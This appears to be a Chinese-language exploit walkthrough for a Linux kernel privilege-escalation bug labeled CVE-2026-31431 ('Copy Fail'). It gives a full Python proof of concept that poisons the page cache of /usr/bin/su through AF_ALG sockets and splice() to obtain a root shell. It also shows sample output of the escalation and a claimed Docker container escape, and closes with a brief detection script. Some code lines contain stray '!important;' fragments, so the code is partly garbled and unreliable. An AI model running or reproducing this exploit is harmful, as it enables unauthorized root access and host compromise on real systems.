# 受影响的测试环境（任选其一）
# Ubuntu 24.04 LTS
# Amazon Linux 2023
# RHEL 14.3
# SUSE 16
# Debian / Fedora / Arch / Rocky / AlmaLinux

# 检查内核版本
uname -r

# 检查 AF_ALG 模块是否已加载
lsmod | grep algif_aead
# 如果有输出，说明模块已加载，系统受影响

# 克隆 PoC 仓库
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
cd copy-fail-CVE-2026-31431

# 验证 PoC 完整性（SHA256）
sha256sum copy_fail.py

#!/usr/bin/env python3
# CVE-2026-31431 - Copy Fail
# 仅依赖标准库：os, socket, zlib

import os, socket, zlib

# Step 1: 创建 AF_ALG socket 对
# AF_ALG 是 Linux 内核的用户态加密接口
alg = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET)
alg.bind(('aead', 0))
alg.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY,
    b'\x00' * 32) # 32字节 AES-256 密钥

# Step 2: 创建 accept socket（加密操作句柄）
op, _ = alg.accept()

# Step 3: 打开目标文件（如 /usr/bin/su）
# 这个文件的 page cache 将被污染
fd = os.open('/usr/bin/su', os.O_RDONLY)

# Step 4: 通过 splice() 零拷贝
# 将文件的 page cache 页面传入 AF_ALG 的输入 scatterlist
# 关键：page cache 页面被放入了【可写】scatterlist
pipe_r, pipe_w = os.pipe()
os.splice(fd, None, pipe_w, None, 4096)
os.splice(pipe_r, None, op.fileno(), None, 4096)

# Step 5: 触发解密操作
# crypto_authenc_esn_decrypt() 在输出边界之外
# 写入 4 字节的 seqno_lo，污染 page cache
try:
  !important;   op.sendmsg(
        [b''],
        [(socket.SOL_ALG, socket.ALG_SET_OP, 1)] # 解密操作
    )
except:
  !important;   pass # 预期内的错误，但 page cache 已被污染

# Step 6: 利用被污染的 page cache 提权
# /usr/bin/su 的 page cache 中特定偏移的 4 字节被覆盖
# 导致 su 命令的行为被改变，可获取 root shell
os.execv('/usr/bin/su', ['su', '-c', '/bin/sh'])

# 1. 以普通用户身份执行
$ id
uid=1000(test) gid=1000(test) groups=1000(test)

# 2. 运行 PoC
$ python3 copy_fail.py

# 3. 验证提权成功
# id
uid=0(root) gid=0(root) groups=0(root)

# 4. 检查文件完整性（磁盘未被修改）
$ sha256sum /usr/bin/su
# 与原始哈希一致，磁盘文件未被篡改

# 5. 但 page cache 已被污染
# 重启或 echo 3 > /proc/sys/vm/drop_caches 后恢复

# 在 Docker 容器中（普通权限）
$ docker run -it --rm ubuntu:24.04 bash

# 安装 Python 3.10+
apt update && apt install -y python3

# 运行 PoC（容器内）
python3 copy_fail.py

# 成功！容器内的普通用户获取了主机 root 权限
# 因为 page cache 是主机级共享的，容器内的修改影响了主机

# 验证：在主机上检查
# sha256sum /usr/bin/su # 磁盘文件未变
# 但 su 的 page cache 已被污染，行为异常

# 检查系统是否受影响
echo "=== 检查 algif_aead 模块 ==="
lsmod | grep algif_aead
if [ $? -eq 0 ]; then
    echo "[!] 模块已加载，系统受影响"
else
    echo "[+] 模块未加载"
fi

# 检查内核版本是否已修复
echo "=== 检查内核版本 ==="
uname -r
# 对照各发行版的安全公告确认是否已修复

# 检查是否有漏洞利用痕迹
echo "=== 检查 AF_ALG socket 使用 ==="
# 监控 /proc/net/alg 中的异常活动
cat /proc/net/alg

# 容器环境检查
echo "=== 检查容器 seccomp 策略 ==="
docker inspect --format='{{.HostConfig.SecurityOpt}}' <container_id>